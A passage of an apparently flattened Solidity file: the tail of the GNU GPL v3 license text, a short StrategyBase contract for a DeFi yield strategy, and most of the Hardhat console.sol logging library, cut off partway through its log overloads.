(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
*/
//SPDX-License-Identifier: Unlicense
pragma solidity 0.5.16;
import "hardhat/console.sol";
import "./inheritance/RewardTokenProfitNotifier.sol";
import "./interface/IStrategy.sol";
contract StrategyBase is IStrategy, RewardTokenProfitNotifier {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event ProfitsNotCollected(address);
event Liquidating(address, uint256);
address public underlying;
address public vault;
mapping (address => bool) public unsalvagableTokens;
address public uniswapRouterV2;
modifier restricted() {
require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()),
"The sender has to be the controller or vault or governance");
_;
}
constructor(
address _storage,
address _underlying,
address _vault,
address _rewardToken,
address _uniswap
) RewardTokenProfitNotifier(_storage, _rewardToken) public {
underlying = _underlying;
vault = _vault;
unsalvagableTokens[_rewardToken] = true;
unsalvagableTokens[_underlying] = true;
uniswapRouterV2 = _uniswap;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
